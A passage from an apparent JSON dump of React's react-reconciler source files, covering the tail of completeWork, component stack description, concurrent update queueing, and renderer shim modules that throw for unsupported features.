didSuspendAlready = true;\n\n            cutOffTailIfNeeded(renderState, false);\n\n            // Since nothing actually suspended, there will nothing to ping this\n            // to get it started back up to attempt the next item. While in terms\n            // of priority this work has the same priority as this current render,\n            // it's not part of the same transition once the transition has\n            // committed. If it's sync, we still want to yield so that it can be\n            // painted. Conceptually, this is really the same as pinging.\n            // We can use any RetryLane even if it's the one currently rendering\n            // since we're leaving it behind on this node.\n            workInProgress.lanes = SomeRetryLane;\n          }\n        }\n        if (renderState.isBackwards) {\n          // Append to the beginning of the list.\n          renderedTail.sibling = workInProgress.child;\n          workInProgress.child = renderedTail;\n        } else {\n          const previousSibling = renderState.last;\n          if (previousSibling !== null) {\n            previousSibling.sibling = renderedTail;\n          } else {\n            workInProgress.child = renderedTail;\n          }\n          renderState.last = renderedTail;\n        }\n      }\n\n      if (renderState.tail !== null) {\n        // We still have tail rows to render.\n        // Pop a row.\n        // TODO: Consider storing the first of the new mount tail in the state so\n        // that we don't have to recompute this for every row in the list.\n        const next = renderState.tail;\n        const onlyNewMounts = isOnlyNewMounts(next);\n        renderState.rendering = next;\n        renderState.tail = next.sibling;\n        renderState.renderingStartTime = now();\n        next.sibling = null;\n\n        // Restore the context.\n        // TODO: We can probably just avoid popping it instead and only\n        // setting it the first time we go from not suspended to suspended.\n        let suspenseContext = suspenseStackCursor.current;\n        if (didSuspendAlready) {\n          suspenseContext = setShallowSuspenseListContext(\n            suspenseContext,\n            ForceSuspenseFallback,\n          );\n        } else {\n          suspenseContext =\n            setDefaultShallowSuspenseListContext(suspenseContext);\n        }\n        if (\n          renderState.tailMode === 'visible' ||\n          renderState.tailMode === 'collapsed' ||\n          !onlyNewMounts ||\n          // TODO: While hydrating, we still let it suspend the parent. Tail mode hidden has broken\n          // hydration anyway right now but this preserves the previous semantics out of caution.\n          // Once proper hydration is implemented, this special case should be removed as it should\n          // never be needed.\n          getIsHydrating()\n        ) {\n          pushSuspenseListContext(workInProgress, suspenseContext);\n        } else {\n          // If we are rendering in 'hidden' (default) tail mode, then we if we suspend in the\n          // tail itself, we can delete it rather than suspend the parent. So we act as a catch in that\n          // case. For 'collapsed' we need to render at least one in suspended state, after which we'll\n          // have cut off the rest to never attempt it so it never hits this case.\n          // If this is an updated node, we cannot delete it from the tail so it's effectively visible.\n          // As a consequence, if it resuspends it actually suspends the parent by taking the other path.\n          pushSuspenseListCatch(workInProgress, suspenseContext);\n        }\n        // Do a pass over the next row.\n        if (getIsHydrating()) {\n          // Re-apply tree fork since we popped the tree fork context in the beginning of this function.\n          pushTreeFork(workInProgress, renderState.treeForkCount);\n        }\n        // Don't bubble properties in this case.\n        return next;\n      }\n      bubbleProperties(workInProgress);\n      return null;\n    }\n    case ScopeComponent: {\n      if (enableScopeAPI) {\n        if (current === null) {\n          const scopeInstance: ReactScopeInstance = createScopeInstance();\n          workInProgress.stateNode = scopeInstance;\n          prepareScopeUpdate(scopeInstance, workInProgress);\n          if (workInProgress.ref !== null) {\n            // Scope components always do work in the commit phase if there's a\n            // ref attached.\n            markUpdate(workInProgress);\n          }\n        } else {\n          if (workInProgress.ref !== null) {\n            // Scope components always do work in the commit phase if there's a\n            // ref attached.\n            markUpdate(workInProgress);\n          }\n        }\n        bubbleProperties(workInProgress);\n        return null;\n      }\n      break;\n    }\n    case OffscreenComponent:\n    case LegacyHiddenComponent: {\n      popSuspenseHandler(workInProgress);\n      popHiddenContext(workInProgress);\n      const nextState: OffscreenState | null = workInProgress.memoizedState;\n      const nextIsHidden = nextState !== null;\n\n      // Schedule a Visibility effect if the visibility has changed\n      if (enableLegacyHidden && workInProgress.tag === LegacyHiddenComponent) {\n        // LegacyHidden doesn't do any hiding — it only pre-renders.\n      } else {\n        if (current !== null) {\n          const prevState: OffscreenState | null = current.memoizedState;\n          const prevIsHidden = prevState !== null;\n          if (prevIsHidden !== nextIsHidden) {\n            workInProgress.flags |= Visibility;\n          }\n        } else {\n          // On initial mount, we only need a Visibility effect if the tree\n          // is hidden.\n          if (nextIsHidden) {\n            workInProgress.flags |= Visibility;\n          }\n        }\n      }\n\n      if (\n        !nextIsHidden ||\n        (!disableLegacyMode &&\n          (workInProgress.mode & ConcurrentMode) === NoMode)\n      ) {\n        bubbleProperties(workInProgress);\n      } else {\n        // Don't bubble properties for hidden children unless we're rendering\n        // at offscreen priority.\n        if (\n          includesSomeLane(renderLanes, (OffscreenLane: Lane)) &&\n          // Also don't bubble if the tree suspended\n          (workInProgress.flags & DidCapture) === NoLanes\n        ) {\n          bubbleProperties(workInProgress);\n          // Check if there was an insertion or update in the hidden subtree.\n          // If so, we need to hide those nodes in the commit phase, so\n          // schedule a visibility effect.\n          if (\n            (!enableLegacyHidden ||\n              workInProgress.tag !== LegacyHiddenComponent) &&\n            workInProgress.subtreeFlags & (Placement | Update)\n          ) {\n            workInProgress.flags |= Visibility;\n          }\n        }\n      }\n\n      const offscreenQueue: OffscreenQueue | null =\n        (workInProgress.updateQueue: any);\n      if (offscreenQueue !== null) {\n        const retryQueue = offscreenQueue.retryQueue;\n        scheduleRetryEffect(workInProgress, retryQueue);\n      }\n\n      let previousCache: Cache | null = null;\n      if (\n        current !== null &&\n        current.memoizedState !== null &&\n        current.memoizedState.cachePool !== null\n      ) {\n        previousCache = current.memoizedState.cachePool.pool;\n      }\n      let cache: Cache | null = null;\n      if (\n        workInProgress.memoizedState !== null &&\n        workInProgress.memoizedState.cachePool !== null\n      ) {\n        cache = workInProgress.memoizedState.cachePool.pool;\n      }\n      if (cache !== previousCache) {\n        // Run passive effects to retain/release the cache.\n        workInProgress.flags |= Passive;\n      }\n\n      popTransition(workInProgress, current);\n\n      return null;\n    }\n    case CacheComponent: {\n      let previousCache: Cache | null = null;\n      if (current !== null) {\n        previousCache = current.memoizedState.cache;\n      }\n      const cache: Cache = workInProgress.memoizedState.cache;\n      if (cache !== previousCache) {\n        // Run passive effects to retain/release the cache.\n        workInProgress.flags |= Passive;\n      }\n      popCacheProvider(workInProgress, cache);\n      bubbleProperties(workInProgress);\n      return null;\n    }\n    case TracingMarkerComponent: {\n      if (enableTransitionTracing) {\n        const instance: TracingMarkerInstance | null = workInProgress.stateNode;\n        if (instance !== null) {\n          popMarkerInstance(workInProgress);\n        }\n        bubbleProperties(workInProgress);\n      }\n      return null;\n    }\n    case ViewTransitionComponent: {\n      if (enableViewTransition) {\n        // We're a component that might need an exit transition. This flag will\n        // bubble up to the parent tree to indicate that there's a child that\n        // might need an exit View Transition upon unmount.\n        workInProgress.flags |= ViewTransitionStatic;\n        bubbleProperties(workInProgress);\n      }\n      return null;\n    }\n    case Throw: {\n      if (!disableLegacyMode) {\n        // Only Legacy Mode completes an errored node.\n        return null;\n      }\n    }\n  }\n\n  throw new Error(\n    `Unknown unit of work tag (${workInProgress.tag}). This error is likely caused by a bug in ` +\n      'React. Please file an issue.',\n  );\n}\n\nexport {completeWork};\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberComponentStack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {enableViewTransition} from 'shared/ReactFeatureFlags';\nimport type {Fiber} from './ReactInternalTypes';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nimport {\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  LazyComponent,\n  SuspenseComponent,\n  SuspenseListComponent,\n  FunctionComponent,\n  ForwardRef,\n  SimpleMemoComponent,\n  ClassComponent,\n  HostText,\n  ViewTransitionComponent,\n  ActivityComponent,\n} from './ReactWorkTags';\nimport {\n  describeBuiltInComponentFrame,\n  describeFunctionComponentFrame,\n  describeClassComponentFrame,\n  describeDebugInfoFrame,\n} from 'shared/ReactComponentStackFrame';\nimport {formatOwnerStack} from 'shared/ReactOwnerStackFrames';\n\nfunction describeFiber(fiber: Fiber, childFiber: null | Fiber): string {\n  switch (fiber.tag) {\n    case HostHoistable:\n    case HostSingleton:\n    case HostComponent:\n      return describeBuiltInComponentFrame(fiber.type);\n    case LazyComponent:\n      // TODO: When we support Thenables as component types we should rename this.\n      return describeBuiltInComponentFrame('Lazy');\n    case SuspenseComponent:\n      if (fiber.child !== childFiber && childFiber !== null) {\n        // If we came from the second Fiber then we're in the Suspense Fallback.\n        return describeBuiltInComponentFrame('Suspense Fallback');\n      }\n      return describeBuiltInComponentFrame('Suspense');\n    case SuspenseListComponent:\n      return describeBuiltInComponentFrame('SuspenseList');\n    case FunctionComponent:\n    case SimpleMemoComponent:\n      return describeFunctionComponentFrame(fiber.type);\n    case ForwardRef:\n      return describeFunctionComponentFrame(fiber.type.render);\n    case ClassComponent:\n      return describeClassComponentFrame(fiber.type);\n    case ActivityComponent:\n      return describeBuiltInComponentFrame('Activity');\n    case ViewTransitionComponent:\n      if (enableViewTransition) {\n        return describeBuiltInComponentFrame('ViewTransition');\n      }\n    // Fallthrough\n    default:\n      return '';\n  }\n}\n\nexport function getStackByFiberInDevAndProd(workInProgress: Fiber): string {\n  try {\n    let info = '';\n    let node: Fiber = workInProgress;\n    let previous: null | Fiber = null;\n    do {\n      info += describeFiber(node, previous);\n      if (__DEV__) {\n        // Add any Server Component stack frames in reverse order.\n        const debugInfo = node._debugInfo;\n        if (debugInfo) {\n          for (let i = debugInfo.length - 1; i >= 0; i--) {\n            const entry = debugInfo[i];\n            if (typeof entry.name === 'string') {\n              info += describeDebugInfoFrame(\n                entry.name,\n                entry.env,\n                entry.debugLocation,\n              );\n            }\n          }\n        }\n      }\n      previous = node;\n      // $FlowFixMe[incompatible-type] we bail out when we get a null\n      node = node.return;\n    } while (node);\n    return info;\n  } catch (x) {\n    return '\\nError generating stack: ' + x.message + '\\n' + x.stack;\n  }\n}\n\nfunction describeFunctionComponentFrameWithoutLineNumber(fn: Function): string {\n  // We use this because we don't actually want to describe the line of the component\n  // but just the component name.\n  const name = fn ? fn.displayName || fn.name : '';\n  return name ? describeBuiltInComponentFrame(name) : '';\n}\n\nexport function getOwnerStackByFiberInDev(workInProgress: Fiber): string {\n  if (!__DEV__) {\n    return '';\n  }\n  try {\n    let info = '';\n\n    if (workInProgress.tag === HostText) {\n      // Text nodes never have an owner/stack because they're not created through JSX.\n      // We use the parent since text nodes are always created through a host parent.\n      workInProgress = (workInProgress.return: any);\n    }\n\n    // The owner stack of the current fiber will be where it was created, i.e. inside its owner.\n    // There's no actual name of the currently executing component. Instead, that is available\n    // on the regular stack that's currently executing. However, for built-ins there is no such\n    // named stack frame and it would be ignored as being internal anyway. Therefore we add\n    // add one extra frame just to describe the \"current\" built-in component by name.\n    // Similarly, if there is no owner at all, then there's no stack frame so we add the name\n    // of the root component to the stack to know which component is currently executing.\n    switch (workInProgress.tag) {\n      case HostHoistable:\n      case HostSingleton:\n      case HostComponent:\n        info += describeBuiltInComponentFrame(workInProgress.type);\n        break;\n      case SuspenseComponent:\n        info += describeBuiltInComponentFrame('Suspense');\n        break;\n      case SuspenseListComponent:\n        info += describeBuiltInComponentFrame('SuspenseList');\n        break;\n      case ActivityComponent:\n        info += describeBuiltInComponentFrame('Activity');\n        break;\n      case ViewTransitionComponent:\n        if (enableViewTransition) {\n          info += describeBuiltInComponentFrame('ViewTransition');\n          break;\n        }\n      // Fallthrough\n      case FunctionComponent:\n      case SimpleMemoComponent:\n      case ClassComponent:\n        if (!workInProgress._debugOwner && info === '') {\n          // Only if we have no other data about the callsite do we add\n          // the component name as the single stack frame.\n          info += describeFunctionComponentFrameWithoutLineNumber(\n            workInProgress.type,\n          );\n        }\n        break;\n      case ForwardRef:\n        if (!workInProgress._debugOwner && info === '') {\n          info += describeFunctionComponentFrameWithoutLineNumber(\n            workInProgress.type.render,\n          );\n        }\n        break;\n    }\n\n    let owner: void | null | Fiber | ReactComponentInfo = workInProgress;\n\n    while (owner) {\n      if (typeof owner.tag === 'number') {\n        const fiber: Fiber = (owner: any);\n        owner = fiber._debugOwner;\n        const debugStack = fiber._debugStack;\n        // If we don't actually print the stack if there is no owner of this JSX element.\n        // In a real app it's typically not useful since the root app is always controlled\n        // by the framework. These also tend to have noisy stacks because they're not rooted\n        // in a React render but in some imperative bootstrapping code. It could be useful\n        // if the element was created in module scope. E.g. hoisted. We could add a a single\n        // stack frame for context for example but it doesn't say much if that's a wrapper.\n        if (owner && debugStack) {\n          const formattedStack = formatOwnerStack(debugStack);\n          if (formattedStack !== '') {\n            info += '\\n' + formattedStack;\n          }\n        }\n      } else if (owner.debugStack != null) {\n        // Server Component\n        const ownerStack: Error = owner.debugStack;\n        owner = owner.owner;\n        if (owner && ownerStack) {\n          // TODO: Should we stash this somewhere for caching purposes?\n          info += '\\n' + formatOwnerStack(ownerStack);\n        }\n      } else {\n        break;\n      }\n    }\n    return info;\n  } catch (x) {\n    return '\\nError generating stack: ' + x.message + '\\n' + x.stack;\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberConcurrentUpdates.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {\n  UpdateQueue as HookQueue,\n  Update as HookUpdate,\n} from './ReactFiberHooks';\nimport type {\n  SharedQueue as ClassQueue,\n  Update as ClassUpdate,\n} from './ReactFiberClassUpdateQueue';\nimport type {Lane, Lanes} from './ReactFiberLane';\nimport type {OffscreenInstance} from './ReactFiberOffscreenComponent';\n\nimport {\n  warnAboutUpdateOnNotYetMountedFiberInDEV,\n  throwIfInfiniteUpdateLoopDetected,\n  getWorkInProgressRoot,\n} from './ReactFiberWorkLoop';\nimport {NoLane, NoLanes, mergeLanes, markHiddenUpdate} from './ReactFiberLane';\nimport {NoFlags, Placement, Hydrating} from './ReactFiberFlags';\nimport {HostRoot, OffscreenComponent} from './ReactWorkTags';\nimport {OffscreenVisible} from './ReactFiberOffscreenComponent';\n\nexport type ConcurrentUpdate = {\n  next: ConcurrentUpdate,\n  lane: Lane,\n};\n\ntype ConcurrentQueue = {\n  pending: ConcurrentUpdate | null,\n};\n\n// If a render is in progress, and we receive an update from a concurrent event,\n// we wait until the current render is over (either finished or interrupted)\n// before adding it to the fiber/hook queue. Push to this array so we can\n// access the queue, fiber, update, et al later.\nconst concurrentQueues: Array<any> = [];\nlet concurrentQueuesIndex = 0;\n\nlet concurrentlyUpdatedLanes: Lanes = NoLanes;\n\nexport function finishQueueingConcurrentUpdates(): void {\n  const endIndex = concurrentQueuesIndex;\n  concurrentQueuesIndex = 0;\n\n  concurrentlyUpdatedLanes = NoLanes;\n\n  let i = 0;\n  while (i < endIndex) {\n    const fiber: Fiber = concurrentQueues[i];\n    concurrentQueues[i++] = null;\n    const queue: ConcurrentQueue = concurrentQueues[i];\n    concurrentQueues[i++] = null;\n    const update: ConcurrentUpdate = concurrentQueues[i];\n    concurrentQueues[i++] = null;\n    const lane: Lane = concurrentQueues[i];\n    concurrentQueues[i++] = null;\n\n    if (queue !== null && update !== null) {\n      const pending = queue.pending;\n      if (pending === null) {\n        // This is the first update. Create a circular list.\n        update.next = update;\n      } else {\n        update.next = pending.next;\n        pending.next = update;\n      }\n      queue.pending = update;\n    }\n\n    if (lane !== NoLane) {\n      markUpdateLaneFromFiberToRoot(fiber, update, lane);\n    }\n  }\n}\n\nexport function getConcurrentlyUpdatedLanes(): Lanes {\n  return concurrentlyUpdatedLanes;\n}\n\nfunction enqueueUpdate(\n  fiber: Fiber,\n  queue: ConcurrentQueue | null,\n  update: ConcurrentUpdate | null,\n  lane: Lane,\n) {\n  // Don't update the `childLanes` on the return path yet. If we already in\n  // the middle of rendering, wait until after it has completed.\n  concurrentQueues[concurrentQueuesIndex++] = fiber;\n  concurrentQueues[concurrentQueuesIndex++] = queue;\n  concurrentQueues[concurrentQueuesIndex++] = update;\n  concurrentQueues[concurrentQueuesIndex++] = lane;\n\n  concurrentlyUpdatedLanes = mergeLanes(concurrentlyUpdatedLanes, lane);\n\n  // The fiber's `lane` field is used in some places to check if any work is\n  // scheduled, to perform an eager bailout, so we need to update it immediately.\n  // TODO: We should probably move this to the \"shared\" queue instead.\n  fiber.lanes = mergeLanes(fiber.lanes, lane);\n  const alternate = fiber.alternate;\n  if (alternate !== null) {\n    alternate.lanes = mergeLanes(alternate.lanes, lane);\n  }\n}\n\nexport function enqueueConcurrentHookUpdate<S, A>(\n  fiber: Fiber,\n  queue: HookQueue<S, A>,\n  update: HookUpdate<S, A>,\n  lane: Lane,\n): FiberRoot | null {\n  const concurrentQueue: ConcurrentQueue = (queue: any);\n  const concurrentUpdate: ConcurrentUpdate = (update: any);\n  enqueueUpdate(fiber, concurrentQueue, concurrentUpdate, lane);\n  return getRootForUpdatedFiber(fiber);\n}\n\nexport function enqueueConcurrentHookUpdateAndEagerlyBailout<S, A>(\n  fiber: Fiber,\n  queue: HookQueue<S, A>,\n  update: HookUpdate<S, A>,\n): void {\n  // This function is used to queue an update that doesn't need a rerender. The\n  // only reason we queue it is in case there's a subsequent higher priority\n  // update that causes it to be rebased.\n  const lane = NoLane;\n  const concurrentQueue: ConcurrentQueue = (queue: any);\n  const concurrentUpdate: ConcurrentUpdate = (update: any);\n  enqueueUpdate(fiber, concurrentQueue, concurrentUpdate, lane);\n\n  // Usually we can rely on the upcoming render phase to process the concurrent\n  // queue. However, since this is a bail out, we're not scheduling any work\n  // here. So the update we just queued will leak until something else happens\n  // to schedule work (if ever).\n  //\n  // Check if we're currently in the middle of rendering a tree, and if not,\n  // process the queue immediately to prevent a leak.\n  const isConcurrentlyRendering = getWorkInProgressRoot() !== null;\n  if (!isConcurrentlyRendering) {\n    finishQueueingConcurrentUpdates();\n  }\n}\n\nexport function enqueueConcurrentClassUpdate<State>(\n  fiber: Fiber,\n  queue: ClassQueue<State>,\n  update: ClassUpdate<State>,\n  lane: Lane,\n): FiberRoot | null {\n  const concurrentQueue: ConcurrentQueue = (queue: any);\n  const concurrentUpdate: ConcurrentUpdate = (update: any);\n  enqueueUpdate(fiber, concurrentQueue, concurrentUpdate, lane);\n  return getRootForUpdatedFiber(fiber);\n}\n\nexport function enqueueConcurrentRenderForLane(\n  fiber: Fiber,\n  lane: Lane,\n): FiberRoot | null {\n  enqueueUpdate(fiber, null, null, lane);\n  return getRootForUpdatedFiber(fiber);\n}\n\n// Calling this function outside this module should only be done for backwards\n// compatibility and should always be accompanied by a warning.\nexport function unsafe_markUpdateLaneFromFiberToRoot(\n  sourceFiber: Fiber,\n  lane: Lane,\n): FiberRoot | null {\n  // NOTE: For Hyrum's Law reasons, if an infinite update loop is detected, it\n  // should throw before `markUpdateLaneFromFiberToRoot` is called. But this is\n  // undefined behavior and we can change it if we need to; it just so happens\n  // that, at the time of this writing, there's an internal product test that\n  // happens to rely on this.\n  const root = getRootForUpdatedFiber(sourceFiber);\n  markUpdateLaneFromFiberToRoot(sourceFiber, null, lane);\n  return root;\n}\n\nfunction markUpdateLaneFromFiberToRoot(\n  sourceFiber: Fiber,\n  update: ConcurrentUpdate | null,\n  lane: Lane,\n): null | FiberRoot {\n  // Update the source fiber's lanes\n  sourceFiber.lanes = mergeLanes(sourceFiber.lanes, lane);\n  let alternate = sourceFiber.alternate;\n  if (alternate !== null) {\n    alternate.lanes = mergeLanes(alternate.lanes, lane);\n  }\n  // Walk the parent path to the root and update the child lanes.\n  let isHidden = false;\n  let parent = sourceFiber.return;\n  let node = sourceFiber;\n  while (parent !== null) {\n    parent.childLanes = mergeLanes(parent.childLanes, lane);\n    alternate = parent.alternate;\n    if (alternate !== null) {\n      alternate.childLanes = mergeLanes(alternate.childLanes, lane);\n    }\n\n    if (parent.tag === OffscreenComponent) {\n      // Check if this offscreen boundary is currently hidden.\n      //\n      // The instance may be null if the Offscreen parent was unmounted. Usually\n      // the parent wouldn't be reachable in that case because we disconnect\n      // fibers from the tree when they are deleted. However, there's a weird\n      // edge case where setState is called on a fiber that was interrupted\n      // before it ever mounted. Because it never mounts, it also never gets\n      // deleted. Because it never gets deleted, its return pointer never gets\n      // disconnected. Which means it may be attached to a deleted Offscreen\n      // parent node. (This discovery suggests it may be better for memory usage\n      // if we don't attach the `return` pointer until the commit phase, though\n      // in order to do that we'd need some other way to track the return\n      // pointer during the initial render, like on the stack.)\n      //\n      // This case is always accompanied by a warning, but we still need to\n      // account for it. (There may be other cases that we haven't discovered,\n      // too.)\n      const offscreenInstance: OffscreenInstance | null = parent.stateNode;\n      if (\n        offscreenInstance !== null &&\n        !(offscreenInstance._visibility & OffscreenVisible)\n      ) {\n        isHidden = true;\n      }\n    }\n\n    node = parent;\n    parent = parent.return;\n  }\n\n  if (node.tag === HostRoot) {\n    const root: FiberRoot = node.stateNode;\n    if (isHidden && update !== null) {\n      markHiddenUpdate(root, update, lane);\n    }\n    return root;\n  }\n  return null;\n}\n\nfunction getRootForUpdatedFiber(sourceFiber: Fiber): FiberRoot | null {\n  // TODO: We will detect and infinite update loop and throw even if this fiber\n  // has already unmounted. This isn't really necessary but it happens to be the\n  // current behavior we've used for several release cycles. Consider not\n  // performing this check if the updated fiber already unmounted, since it's\n  // not possible for that to cause an infinite update loop.\n  throwIfInfiniteUpdateLoopDetected();\n\n  // When a setState happens, we must ensure the root is scheduled. Because\n  // update queues do not have a backpointer to the root, the only way to do\n  // this currently is to walk up the return path. This used to not be a big\n  // deal because we would have to walk up the return path to set\n  // the `childLanes`, anyway, but now those two traversals happen at\n  // different times.\n  // TODO: Consider adding a `root` backpointer on the update queue.\n  detectUpdateOnUnmountedFiber(sourceFiber, sourceFiber);\n  let node = sourceFiber;\n  let parent = node.return;\n  while (parent !== null) {\n    detectUpdateOnUnmountedFiber(sourceFiber, node);\n    node = parent;\n    parent = node.return;\n  }\n  return node.tag === HostRoot ? (node.stateNode: FiberRoot) : null;\n}\n\nfunction detectUpdateOnUnmountedFiber(sourceFiber: Fiber, parent: Fiber) {\n  if (__DEV__) {\n    const alternate = parent.alternate;\n    if (\n      alternate === null &&\n      (parent.flags & (Placement | Hydrating)) !== NoFlags\n    ) {\n      warnAboutUpdateOnNotYetMountedFiberInDEV(sourceFiber);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberConfig.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint-disable react-internal/prod-error-codes */\n\n// We expect that our Rollup, Jest, and Flow configurations\n// always shim this module with the corresponding host config\n// (either provided by a renderer, or a generic shim for npm).\n//\n// We should never resolve to this file, but it exists to make\n// sure that if we *do* accidentally break the configuration,\n// the failure isn't silent.\n\nthrow new Error('This module must be shimmed by a specific renderer.');\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberConfigWithNoHydration.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support hydration\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'The current renderer does not support hydration. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// Hydration (when unsupported)\nexport type ActivityInstance = mixed;\nexport type SuspenseInstance = mixed;\nexport const supportsHydration = false;\nexport const isSuspenseInstancePending = shim;\nexport const isSuspenseInstanceFallback = shim;\nexport const getSuspenseInstanceFallbackErrorDetails = shim;\nexport const registerSuspenseInstanceRetry = shim;\nexport const canHydrateFormStateMarker = shim;\nexport const isFormStateMarkerMatching = shim;\nexport const getNextHydratableSibling = shim;\nexport const getNextHydratableSiblingAfterSingleton = shim;\nexport const getFirstHydratableChild = shim;\nexport const getFirstHydratableChildWithinContainer = shim;\nexport const getFirstHydratableChildWithinActivityInstance = shim;\nexport const getFirstHydratableChildWithinSuspenseInstance = shim;\nexport const getFirstHydratableChildWithinSingleton = shim;\nexport const canHydrateInstance = shim;\nexport const canHydrateTextInstance = shim;\nexport const canHydrateActivityInstance = shim;\nexport const canHydrateSuspenseInstance = shim;\nexport const hydrateInstance = shim;\nexport const hydrateTextInstance = shim;\nexport const hydrateActivityInstance = shim;\nexport const hydrateSuspenseInstance = shim;\nexport const getNextHydratableInstanceAfterActivityInstance = shim;\nexport const getNextHydratableInstanceAfterSuspenseInstance = shim;\nexport const finalizeHydratedChildren = shim;\nexport const commitHydratedInstance = shim;\nexport const commitHydratedContainer = shim;\nexport const commitHydratedActivityInstance = shim;\nexport const commitHydratedSuspenseInstance = shim;\nexport const flushHydrationEvents = shim;\nexport const clearActivityBoundary = shim;\nexport const clearSuspenseBoundary = shim;\nexport const clearActivityBoundaryFromContainer = shim;\nexport const clearSuspenseBoundaryFromContainer = shim;\nexport const hideDehydratedBoundary = shim;\nexport const unhideDehydratedBoundary = shim;\nexport const shouldDeleteUnhydratedTailInstances = shim;\nexport const diffHydratedPropsForDevWarnings = shim;\nexport const diffHydratedTextForDevWarnings = shim;\nexport const describeHydratableInstanceForDevWarnings = shim;\nexport const validateHydratableInstance = shim;\nexport const validateHydratableTextInstance = shim;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberConfigWithNoMicrotasks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support microtasks\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'The current renderer does not support microtasks. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// Test selectors (when unsupported)\nexport const supportsMicrotasks = false;\nexport const scheduleMicrotask = shim;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberConfigWithNoMutation.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support mutation\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'The current renderer does not support mutation. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// Mutation (when unsupported)\nexport const supportsMutation = false;\nexport const cloneMutableInstance = shim;\nexport const cloneMutableTextInstance = shim;\nexport const appendChild = shim;\nexport const appendChildToContainer = shim;\nexport const commitTextUpdate = shim;\nexport const commitMount = shim;\nexport const commitUpdate = shim;\nexport const insertBefore = shim;\nexport const insertInContainerBefore = shim;\nexport const removeChild = shim;\nexport const removeChildFromContainer = shim;\nexport const resetTextContent = shim;\nexport const hideInstance = shim;\nexport const hideTextInstance = shim;\nexport const unhideInstance = shim;\nexport const unhideTextInstance = shim;\nexport const clearContainer = shim;\nexport type GestureTimeline = any;\nexport const getCurrentGestureOffset = shim;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberConfigWithNoPersistence.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support persistence\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'The current renderer does not support persistence. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// Persistence (when unsupported)\nexport const supportsPersistence = false;\nexport const cloneInstance = shim;\nexport const createContainerChildSet = shim;\nexport const appendChildToContainerChildSet = shim;\nexport const finalizeContainerChildren = shim;\nexport const replaceContainerChildren = shim;\nexport const cloneHiddenInstance = shim;\nexport const cloneHiddenTextInstance = shim;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberConfigWithNoResources.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support hydration\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'The current renderer does not support Resources. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\nexport type HoistableRoot = mixed;\nexport type Resource = mixed;\n\n// Resources (when unsupported)\nexport const supportsResources = false;\nexport const isHostHoistableType = shim;\nexport const getHoistableRoot = shim;\nexport const getResource = shim;\nexport const acquireResource = shim;\nexport const releaseResource = shim;\nexport const hydrateHoistable = shim;\nexport const mountHoistable = shim;\nexport const unmountHoistable = shim;\nexport const createHoistableInstance = shim;\nexport const prepareToCommitHoistables = shim;\nexport const mayResourceSuspendCommit = shim;\nexport const preloadResource = shim;\nexport const suspendResource = shim;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberConfigWithNoScopes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support React Scopes\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'The current renderer does not support React Scopes. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// React Scopes (when unsupported)\nexport const prepareScopeUpdate = shim;\nexport const getInstanceFromScope = shim;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberConfigWithNoSingletons.js",
